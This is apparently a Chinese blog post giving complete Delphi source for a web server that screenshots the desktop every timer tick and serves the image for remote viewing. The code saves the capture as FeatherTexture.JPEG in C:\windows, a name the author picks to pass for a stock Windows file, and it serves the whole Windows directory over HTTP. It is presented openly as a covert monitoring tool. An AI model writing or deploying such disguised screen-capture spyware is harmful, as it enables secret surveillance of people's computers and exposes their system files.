delphi之猥琐的webserver实现

简单的webserver而已，不过实现的功能有些猥琐，可以在远程监控你的桌面一举一动~~
代码如下：
[code=delphi]unit Main;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons,
 ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs,
 IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket,
 IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;
{偶承认这里是乱来的，我也不知道都use了啥，填了一堆...-_-!}
type
 TfmHTTPServerMain = class(TForm)
   HTTPServer: TIdHTTPServer;
   edPort: TEdit;
   cbActive: TCheckBox;
   edRoot: TEdit;
   LabelRoot: TLabel;
   Label1: TLabel;
   Button1: TButton;
   Label2: TLabel;
   Timer1: TTimer;
   procedure acActivateExecute(Sender: TObject);
   procedure HTTPServerCommandGet(AThread: TIdPeerThread;
     RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure Button1Click(Sender: TObject);
   procedure Timer1Timer(Sender: TObject);


 private
   UILock: TCriticalSection;
   { Private declarations }
 public
   { Public declarations }
   EnableLog: boolean;
   MIMEMap: TIdMIMETable;
 end;

var
 fmHTTPServerMain: TfmHTTPServerMain;
   jiance:Boolean;

implementation

uses FileCtrl, IdStack;

{$R *.DFM}

function GetLocalIP: string;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do
  begin
    result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ',';
    inc(i);
  end;
  Delete(Result, Length(Result), 1);
  wsacleanup;
end;{获取IP的函数}

procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);
var
 Binding : TIdSocketHandle;

begin

 if jiance  then
 begin
   cbActive.Checked:=True;
   jiance:=False;
 end
  else
  begin
   cbActive.Checked:= False;
   jiance:=True;
  end;
 if not HTTPServer.Active then
 begin
   HTTPServer.Bindings.Clear;
   Binding := HTTPServer.Bindings.Add;
   Binding.Port := StrToIntDef(edPort.text, 80);
   Binding.IP := GetLocalIP;
    caption := '已启动';
 end;

 if not DirectoryExists(edRoot.text) then
 begin
   cbActive.Checked:= False;
 end
 else
 begin
   if cbActive.Checked then
   begin
     try
       HTTPServer.Active := true;
     except
       on e: exception do
       begin
         cbActive.Checked := False;
       end;
     end;
   end
   else
   begin
     HTTPServer.Active := false;
      caption := '未启动';
     // SSL stuff
     HTTPServer.Intercept := nil;
   end;
 end;
 edPort.Enabled := not cbActive.Checked;
 edRoot.Enabled := not cbActive.Checked;
end;


procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread;
 RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);

var
 LocalDoc: string;
 ByteSent: Cardinal;

begin
   LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document);
   if not FileExists(LocalDoc) then
   begin
     LocalDoc := ExpandFileName(LocalDoc);
   end;
   if FileExists(LocalDoc) then
 begin
       if AnsiSameText(RequestInfo.Command, 'HEAD') then
       begin
          ResponseInfo.ResponseNo := 200;
          ResponseInfo.ContentText := '

'+''+'';
       end
       else
       begin
         ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc);
        end;
 end
 else
   begin
     ResponseInfo.ResponseNo := 404;
     ResponseInfo.ContentText := '

'+''+'';
{edPort.Text是你设置的端口，windows目录下是有FeatherTexture.bmp的，为了掩人耳目，弄个差不多的FeatherTexture.jpeg~}
 end;
{这个webserver貌似还有些问题，结构是我从indy的demo上扒下来的，貌似每次返回的都是404代码，所以偶为了防止出问题，采用了上面那段代码，就算是404，404页面也是有图片的，嘿嘿~~}
end;

procedure TfmHTTPServerMain.FormCreate(Sender: TObject);
begin
 jiance:=True;
 UILock := TCriticalSection.Create;
 MIMEMap := TIdMIMETable.Create(true);
   edRoot.text := 'C:\windows';
 if HTTPServer.active then  caption := '已启动' else caption := '未启动';
 Label2.Caption:= '当前IP：'+GetLocalIP;
end;

procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);
begin
 MIMEMap.Free;
 UILock.Free;
end;






procedure TfmHTTPServerMain.Button1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);
end;

procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);
var
Fullscreen:Tbitmap;
FullscreenCanvas:TCanvas;
dc:HDC;
MyJPEG : TJPEGImage;
begin
Fullscreen:=TBitmap.Create;
Fullscreen.Width:=screen.width;
Fullscreen.Height:=screen.Height;
DC:=GetDC(0);
FullscreenCanvas:=TCanvas.Create;
FullscreenCanvas.Handle:=DC;
Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),
fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));
FullscreenCanvas.Free;
ReleaseDC(0,DC);
myjpeg:= TJPEGImage.Create;
myjpeg.Assign(Fullscreen);
myjpeg.CompressionQuality:=100; //压缩比例，100是最清晰状态。
myjpeg.Compress;
try
myjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径，可以随便选，但是一定要和上面的webserver路径吻合。
myjpeg.Free;
fullscreen.free;
except
end;
end;

end.

[/code]
截个图瞧瞧：

转载请注明：鸟儿博客 » delphi之猥琐的webserver实现